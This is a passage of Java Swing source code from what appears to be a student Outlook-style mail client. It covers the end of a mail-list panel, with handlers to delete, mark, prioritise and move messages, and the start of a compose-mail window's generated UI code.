jLabel_ngay.setFont(resourceMap.getFont("jLabel_ngay.font")); // NOI18N
jLabel_ngay.setForeground(resourceMap.getColor("jLabel_ngay.foreground")); // NOI18N
jLabel_ngay.setText(resourceMap.getString("jLabel_ngay.text")); // NOI18N
jLabel_ngay.setName("jLabel_ngay"); // NOI18N
jLabel_den.setFont(resourceMap.getFont("jLabel_den.font")); // NOI18N
jLabel_den.setForeground(resourceMap.getColor("jLabel_den.foreground")); // NOI18N
jLabel_den.setText(resourceMap.getString("jLabel_den.text")); // NOI18N
jLabel_den.setName("jLabel_den"); // NOI18N
jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
jLabel3.setName("jLabel3"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_chude, javax.swing.GroupLayout.PREFERRED_SIZE, 54, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel4))
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel_goitu)
.addGap(218, 218, 218)
.addComponent(jLabel3)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_den)
.addComponent(jLabel_ngay))
.addGap(171, 171, 171))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jLabel_chude, javax.swing.GroupLayout.PREFERRED_SIZE, 14, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4)
.addComponent(jLabel_ngay))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel_goitu)
.addComponent(jLabel3)
.addComponent(jLabel_den)))
);
javax.swing.GroupLayout jPanel_ChiTietMailLayout = new javax.swing.GroupLayout(jPanel_ChiTietMail);
jPanel_ChiTietMail.setLayout(jPanel_ChiTietMailLayout);
jPanel_ChiTietMailLayout.setHorizontalGroup(
jPanel_ChiTietMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 557, Short.MAX_VALUE)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, 557, Short.MAX_VALUE)
);
jPanel_ChiTietMailLayout.setVerticalGroup(
jPanel_ChiTietMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel_ChiTietMailLayout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 262, Short.MAX_VALUE))
);
jSplitPane1.setRightComponent(jPanel_ChiTietMail);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jSplitPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 559, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jSplitPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 538, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
}// </editor-fold>//GEN-END:initComponents
private void formAncestorAdded(javax.swing.event.AncestorEvent evt) {//GEN-FIRST:event_formAncestorAdded
}//GEN-LAST:event_formAncestorAdded
private void jButton_XoaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_XoaActionPerformed
// TODO add your handling code here:
ArrayList<Integer> cacIdDangChon = LayCacIdMailDuocChon();
MyMailBUS mailBUS = new MyMailBUS();
for (int i=0;i<cacIdDangChon.size();i++){
try {
mailBUS.xoaMail(cacIdDangChon.get(i).toString());
refreshBang(mailBUS);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
refreshBang(mailBUS);
}//GEN-LAST:event_jButton_XoaActionPerformed
private void jButtonDDChuaDocActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButtonDDChuaDocActionPerformed
// TODO add your handling code here:
ArrayList<Integer> cacIdDangChon = LayCacIdMailDuocChon();
MyMailBUS mailBUS = new MyMailBUS();
for (int i=0;i<cacIdDangChon.size();i++){
MyMailDTO mailDTO = new MyMailDTO();
try {
mailDTO = mailBUS.layMailVoidMailID(cacIdDangChon.get(i).toString());
mailDTO.setM_TinhTrang(1);
mailBUS.capNhatMail(mailDTO);
refreshBang(mailBUS);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
}//GEN-LAST:event_jButtonDDChuaDocActionPerformed
private void jComboBox1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jComboBox1ActionPerformed
// TODO add your handling code here:
//thach: viet code o day
JComboBox cb = (JComboBox)evt.getSource();
String strMucDo = (String)cb.getSelectedItem();
int iMucDo = jClass_ChuDe.LaySTT(strMucDo);
MyMailBUS mailBUS = new MyMailBUS();
ArrayList<Integer> dsMail = LayCacIdMailDuocChon();
for (int i = 0 ; i < dsMail.size();i++){
try {
MyMailDTO mailDTO = new MyMailDTO();
mailDTO = mailBUS.layMailVoidMailID(dsMail.get(i).toString());
mailDTO.setM_MucDo(iMucDo);
mailBUS.capNhatMail(mailDTO);
refreshBang(mailBUS);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
}//GEN-LAST:event_jComboBox1ActionPerformed
private void jButton_DDDaDocActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_DDDaDocActionPerformed
// TODO add your handling code here:
ArrayList<Integer> cacIdDangChon = LayCacIdMailDuocChon();
MyMailBUS mailBUS = new MyMailBUS();
for (int i=0;i<cacIdDangChon.size();i++){
MyMailDTO mailDTO = new MyMailDTO();
try {
mailDTO = mailBUS.layMailVoidMailID(cacIdDangChon.get(i).toString());
mailDTO.setM_TinhTrang(2);
mailBUS.capNhatMail(mailDTO);
refreshBang(mailBUS);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
}//GEN-LAST:event_jButton_DDDaDocActionPerformed
private void jButton_DiChuyenActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_DiChuyenActionPerformed
// TODO add your handling code here:
MyMailBUS mailBUS = new MyMailBUS();
ArrayList<Integer> dsMail = LayCacIdMailDuocChon();
JDialog_ChonThuMucDich dialog_ChonThuMucDich = new JDialog_ChonThuMucDich(null, true);
dialog_ChonThuMucDich.setVisible(true);
String thuMucDich = dialog_ChonThuMucDich.getM_ThuMucDuocChon();
dialog_ChonThuMucDich.dispose();
if (thuMucDich.equals(""))
return;
int somailcapnhat = 0;
for (int i = 0 ; i < dsMail.size();i++){
try {
mailBUS.thayDoiDuongDanThuMuc(dsMail.get(i).toString(), thuMucDich);
somailcapnhat ++;
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
JOptionPane.showMessageDialog(null, "Đã di chuyển " + somailcapnhat + " mail");
refreshBang(mailBUS);
}//GEN-LAST:event_jButton_DiChuyenActionPerformed
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButtonDDChuaDoc;
private javax.swing.JButton jButton_DDDaDoc;
private javax.swing.JButton jButton_DiChuyen;
private javax.swing.JButton jButton_Xoa;
private javax.swing.JComboBox jComboBox1;
private javax.swing.JEditorPane jEditorPane_chitietmail;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel_chude;
private javax.swing.JLabel jLabel_den;
private javax.swing.JLabel jLabel_goitu;
private javax.swing.JLabel jLabel_ngay;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel_ChiTietMail;
private javax.swing.JPanel jPanel_DanhSachMail;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JToolBar.Separator jSeparator1;
private javax.swing.JToolBar.Separator jSeparator2;
private javax.swing.JToolBar.Separator jSeparator3;
private javax.swing.JSplitPane jSplitPane1;
private javax.swing.JToolBar jToolBar1;
// End of variables declaration//GEN-END:variables
private JTable jTable_danhsachmail = new JTable();
public void DuaDanhSachMailVaoBang(ArrayList<MyMailDTO>DanhSachMail) throws IOException, SQLException{
final String cacCotDuLieu[] = {"Tất cả","Tình trạng","Đính kèm","Người Gởi","Chủ Đề", "Ngày", "Phân loại", "MailID"};
Object DuLieu[][] = new Object[DanhSachMail.size()][cacCotDuLieu.length];
for(int i = 0; i < DanhSachMail.size();i++){
int index = 0;
DuLieu[i][index++] = false;
//for(int j = 1; i < model.) dulieu[index] = new Object();
if (DanhSachMail.get(i).getM_TinhTrang() == JEnum_TinhTrang.Moi.value()){
Icon icon = new ImageIcon(this.getClass().getResource("/doanlythuyet_javaoutlook/MyUserControl/resources/new mail.png"));
DuLieu[i][index] = icon;
}
index++;
if (new MyAttachBUS().layTatCaAttachCuaMailID(DanhSachMail.get(i).getM_Id()).size() != 0){
Icon icon = new ImageIcon(this.getClass().getResource("/doanlythuyet_javaoutlook/MyUserControl/resources/attach.png"));
DuLieu[i][index] = icon;
}
index++;
DuLieu[i][index++] = DanhSachMail.get(i).getM_NguoiGoi();
//dulieu[index++] = DanhSachMail.get(i).getM_NguoiGoi();
DuLieu[i][index++] = DanhSachMail.get(i).getM_ChuDe();
DuLieu[i][index++] = DanhSachMail.get(i).getM_Ngay().toString();
jClass_ChuDe chude = new jClass_ChuDe();
int MucDo = DanhSachMail.get(i).getM_MucDo();
if (MucDo > 0)
DuLieu[i][index++] = jClass_ChuDe.LayTen(MucDo);
else
DuLieu[i][index++] = "";
DuLieu[i][index++] = DanhSachMail.get(i).getM_Id();
}
final Object bangDuLieu[][] = DuLieu;
DefaultTableModel modelBangHienThi = new DefaultTableModel(bangDuLieu,cacCotDuLieu) {
@Override
public Class getColumnClass(int columnIndex) {
switch (columnIndex){
case 0: return Boolean.class;
case 1: return ImageIcon.class;
case 2: return ImageIcon.class;
default: return String.class;
}
}
@Override
public int getColumnCount() {
return cacCotDuLieu.length;
}
@Override
public String getColumnName(int column) {
return cacCotDuLieu[column];
}
@Override
public int getRowCount() {
return bangDuLieu.length;
}
@Override
public Object getValueAt(int row, int column) {
return bangDuLieu[row][column];
}
@Override
public void setValueAt(Object value, int row, int column) {
bangDuLieu[row][column] = value;
}
@Override
public boolean isCellEditable(int row, int column) {
return column == 0;
}
};
jTable_danhsachmail.setModel(modelBangHienThi);
//jTable_danhsachmail = new TableSelectionTest(cacCotDuLieu, bangDuLieu);
TableColumn tc = jTable_danhsachmail.getColumnModel().getColumn(0);
tc.setCellEditor(jTable_danhsachmail.getDefaultEditor(Boolean.class));
tc.setCellRenderer(jTable_danhsachmail.getDefaultRenderer(Boolean.class));
tc.setHeaderRenderer(new CheckBoxHeader(new MyItemListener()));
// <editor-fold defaultstate="collapsed" desc="Cai dat giao dien cho bang">
//jTable_danhsachmail.setSize(500, 100);
jTable_danhsachmail.getColumnModel().getColumn(0).setMaxWidth(25);
jTable_danhsachmail.getColumnModel().getColumn(jTable_danhsachmail.getColumnCount() - 1).setMinWidth(0);
jTable_danhsachmail.getColumnModel().getColumn(jTable_danhsachmail.getColumnCount() - 1).setMaxWidth(0);
jTable_danhsachmail.getColumnModel().getColumn(jTable_danhsachmail.getColumnCount() - 1).setPreferredWidth(0);
//jTable_danhsachmail.
// </ediort-fold>
jScrollPane1.setViewportView(jTable_danhsachmail);
}
private void DoiTrangThaiCotCheckBox (boolean isDuocChon){
TableModel tableModel = jTable_danhsachmail.getModel();
for (int i = 0; i < tableModel.getRowCount(); i++){
tableModel.setValueAt(isDuocChon, i, 0);
}
}
/**
* @return the popupMenu
*/
public JPopupMenu getPopupMenu() {
return popupMenu;
}
private void refreshBang(MyMailBUS mailBUS) {
//thanh:refresh giao dien de? cap nhat
String str_fileduocchon = getToolTipText();
Hashtable<String, String> cacDieuKien = new Hashtable<String, String>();
cacDieuKien.put("DuongDanThuMuc", str_fileduocchon);
try {
ArrayList<MyMailDTO> cacMailDTO = mailBUS.layTatCaMailVoiDieuKien(str_fileduocchon, cacDieuKien);
DuaDanhSachMailVaoBang(cacMailDTO);
} catch (SQLException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
class MyItemListener implements ItemListener{
public void itemStateChanged(ItemEvent e) {
Object source = e.getSource();
if (source instanceof AbstractButton == false) return;
boolean checked = e.getStateChange() == ItemEvent.SELECTED;
DoiTrangThaiCotCheckBox(checked);
}
}
}
class CheckBoxHeader extends JCheckBox implements TableCellRenderer, MouseListener {
protected CheckBoxHeader rendererComponent;
protected int column;
protected boolean mousePressed = false;
public CheckBoxHeader(ItemListener itemListener) {
rendererComponent = this;
rendererComponent.addItemListener(itemListener);
}
public Component getTableCellRendererComponent(
JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
if (table != null) {
JTableHeader header = table.getTableHeader();
if (header != null) {
rendererComponent.setForeground(header.getForeground());
rendererComponent.setBackground(header.getBackground());
rendererComponent.setFont(header.getFont());
header.addMouseListener(rendererComponent);
}
}
setColumn(column);
rendererComponent.setText("");
setBorder(UIManager.getBorder("TableHeader.cellBorder"));
return rendererComponent;
}
protected void setColumn(int column) {
this.column = column;
}
public int getColumn() {
return column;
}
protected void handleClickEvent(MouseEvent e) {
if (mousePressed) {
mousePressed=false;
JTableHeader header = (JTableHeader)(e.getSource());
JTable tableView = header.getTable();
TableColumnModel columnModel = tableView.getColumnModel();
int viewColumn = columnModel.getColumnIndexAtX(e.getX());
int columnindex = tableView.convertColumnIndexToModel(viewColumn);
if (viewColumn == this.column && e.getClickCount() == 1 && columnindex != -1) {
doClick();
}
}
}
public void mouseClicked(MouseEvent e) {
handleClickEvent(e);
((JTableHeader)e.getSource()).repaint();
}
public void mousePressed(MouseEvent e) {
mousePressed = true;
}
public void mouseReleased(MouseEvent e) {
}
public void mouseEntered(MouseEvent e) {
}
public void mouseExited(MouseEvent e) {
}
} | 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JPanel_XemMail.java | Java | asf20 | 38,124 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JFrame_GuiMail.java
*
* Created on May 28, 2009, 1:34:23 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyAttachBUS;
import BUS.MyMailBUS;
import DTO.MyAttachDTO;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.MyEmum.JEnum_TinhTrang;
import doanlythuyet_javaoutlook.MyMail;
import java.awt.Dialog;
import java.awt.event.WindowEvent;
import java.awt.event.WindowStateListener;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.Folder;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.Part;
import javax.mail.Session;
import javax.mail.Store;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;
import javax.swing.DefaultListModel;
import javax.swing.JDialog;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import javax.swing.ListModel;
/**
*
* @author Dang Thi Phuong Thao
*/
public class JFrame_GuiMail extends javax.swing.JFrame {
/** Creates new form JFrame_GuiMail */
public JFrame_GuiMail() {
initComponents();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
//this.setc
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jToolBar1 = new javax.swing.JToolBar();
jButton_send2 = new javax.swing.JButton();
jButton_addressbook = new javax.swing.JButton();
jPanel1 = new javax.swing.JPanel();
jTextField_to = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jTextField_cc = new javax.swing.JTextField();
jButton4 = new javax.swing.JButton();
jTextField_bcc = new javax.swing.JTextField();
jLabel1 = new javax.swing.JLabel();
jTextField_subject = new javax.swing.JTextField();
jPanel2 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jTextArea_noidung = new javax.swing.JTextArea();
jToolBar2 = new javax.swing.JToolBar();
jCheckBox_SendHTML = new javax.swing.JCheckBox();
jPanel3 = new javax.swing.JPanel();
jScrollPane_ListAttach = new javax.swing.JScrollPane();
jList_CacAttach = new javax.swing.JList();
jButton_ThemAttach = new javax.swing.JButton();
jButton_XoaAttach = new javax.swing.JButton();
jPanel4 = new javax.swing.JPanel();
jButton_Send = new javax.swing.JButton();
jButton_Send1 = new javax.swing.JButton();
menuBar = new javax.swing.JMenuBar();
javax.swing.JMenu fileMenu = new javax.swing.JMenu();
jMenu_New = new javax.swing.JMenu();
jMenuItem_Mail = new javax.swing.JMenuItem();
jMenuItem_Contact = new javax.swing.JMenuItem();
jMenuItem_Task = new javax.swing.JMenuItem();
jMenuItem_Folder = new javax.swing.JMenuItem();
jSeparator1 = new javax.swing.JSeparator();
jMenuItem_Save = new javax.swing.JMenuItem();
jMenuItem_SaveAs = new javax.swing.JMenuItem();
jMenuItem2 = new javax.swing.JMenuItem();
jSeparator5 = new javax.swing.JSeparator();
jMenuItem_delete = new javax.swing.JMenuItem();
jMenuItem3 = new javax.swing.JMenuItem();
jSeparator2 = new javax.swing.JSeparator();
javax.swing.JMenuItem jMenuItem_Close = new javax.swing.JMenuItem();
jMenu_Edit = new javax.swing.JMenu();
jMenuItem_Cut = new javax.swing.JMenuItem();
jMenuItem_Copy = new javax.swing.JMenuItem();
jMenuItem_Paste = new javax.swing.JMenuItem();
jSeparator3 = new javax.swing.JSeparator();
jMenuItem_SelectAll = new javax.swing.JMenuItem();
jSeparator4 = new javax.swing.JSeparator();
jMenuItem1 = new javax.swing.JMenuItem();
jMenu_Tools = new javax.swing.JMenu();
jMenuItem_Find = new javax.swing.JMenuItem();
javax.swing.JMenu helpMenu = new javax.swing.JMenu();
javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setName("Form"); // NOI18N
jToolBar1.setRollover(true);
jToolBar1.setName("jToolBar1"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JFrame_GuiMail.class);
jButton_send2.setText(resourceMap.getString("jButton_send2.text")); // NOI18N
jButton_send2.setFocusable(false);
jButton_send2.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_send2.setName("jButton_send2"); // NOI18N
jButton_send2.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar1.add(jButton_send2);
jButton_addressbook.setText(resourceMap.getString("jButton_addressbook.text")); // NOI18N
jButton_addressbook.setFocusable(false);
jButton_addressbook.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_addressbook.setName("jButton_addressbook"); // NOI18N
jButton_addressbook.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar1.add(jButton_addressbook);
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel1.border.title"))); // NOI18N
jPanel1.setName("jPanel1"); // NOI18N
jTextField_to.setText(resourceMap.getString("jTextField_to.text")); // NOI18N
jTextField_to.setName("jTextField_to"); // NOI18N
jButton1.setText(resourceMap.getString("jButton_To.text")); // NOI18N
jButton1.setName("jButton_To"); // NOI18N
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText(resourceMap.getString("jButton_cc.text")); // NOI18N
jButton2.setName("jButton_cc"); // NOI18N
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jTextField_cc.setText(resourceMap.getString("jTextField_cc.text")); // NOI18N
jTextField_cc.setName("jTextField_cc"); // NOI18N
jButton4.setText(resourceMap.getString("jButton4.text")); // NOI18N
jButton4.setName("jButton4"); // NOI18N
jButton4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton4ActionPerformed(evt);
}
});
jTextField_bcc.setName("jTextField_bcc"); // NOI18N
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jTextField_subject.setText(resourceMap.getString("jTextField_subject.text")); // NOI18N
jTextField_subject.setName("jTextField_subject"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, 71, Short.MAX_VALUE)
.addComponent(jButton2, javax.swing.GroupLayout.DEFAULT_SIZE, 71, Short.MAX_VALUE))
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jTextField_subject, javax.swing.GroupLayout.DEFAULT_SIZE, 607, Short.MAX_VALUE)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jTextField_cc, javax.swing.GroupLayout.PREFERRED_SIZE, 266, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton4, javax.swing.GroupLayout.PREFERRED_SIZE, 61, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField_bcc, javax.swing.GroupLayout.DEFAULT_SIZE, 268, Short.MAX_VALUE))
.addComponent(jTextField_to, javax.swing.GroupLayout.DEFAULT_SIZE, 607, Short.MAX_VALUE))
.addContainerGap())
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton1)
.addComponent(jTextField_to, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_cc, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton4)
.addComponent(jTextField_bcc, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jButton2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_subject, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1)))
);
jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel2.border.title"))); // NOI18N
jPanel2.setName("jPanel2"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jTextArea_noidung.setColumns(20);
jTextArea_noidung.setRows(5);
jTextArea_noidung.setText(resourceMap.getString("jTextArea_noidungmail.text")); // NOI18N
jTextArea_noidung.setName("jTextArea_noidungmail"); // NOI18N
jTextArea_noidung.setNextFocusableComponent(jButton_Send);
jScrollPane1.setViewportView(jTextArea_noidung);
jToolBar2.setRollover(true);
jToolBar2.setName("jToolBar2"); // NOI18N
jCheckBox_SendHTML.setText(resourceMap.getString("jCheckBox_SendHTML.text")); // NOI18N
jCheckBox_SendHTML.setFocusable(false);
jCheckBox_SendHTML.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jCheckBox_SendHTML.setName("jCheckBox_SendHTML"); // NOI18N
jCheckBox_SendHTML.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jCheckBox_SendHTML.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jCheckBox_SendHTMLActionPerformed(evt);
}
});
jToolBar2.add(jCheckBox_SendHTML);
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 674, Short.MAX_VALUE)
.addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, 430, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jToolBar2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 174, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
jPanel3.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel3.border.title"))); // NOI18N
jPanel3.setName("jPanel3"); // NOI18N
jScrollPane_ListAttach.setName("jScrollPane_ListAttach"); // NOI18N
jList_CacAttach.setModel(new DefaultListModel());
jList_CacAttach.setName("jList_CacAttach"); // NOI18N
jScrollPane_ListAttach.setViewportView(jList_CacAttach);
jButton_ThemAttach.setText(resourceMap.getString("jButton_ThemAttach.text")); // NOI18N
jButton_ThemAttach.setName("jButton_ThemAttach"); // NOI18N
jButton_ThemAttach.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_ThemAttachActionPerformed(evt);
}
});
jButton_XoaAttach.setText(resourceMap.getString("jButton_XoaAttach.text")); // NOI18N
jButton_XoaAttach.setName("jButton_XoaAttach"); // NOI18N
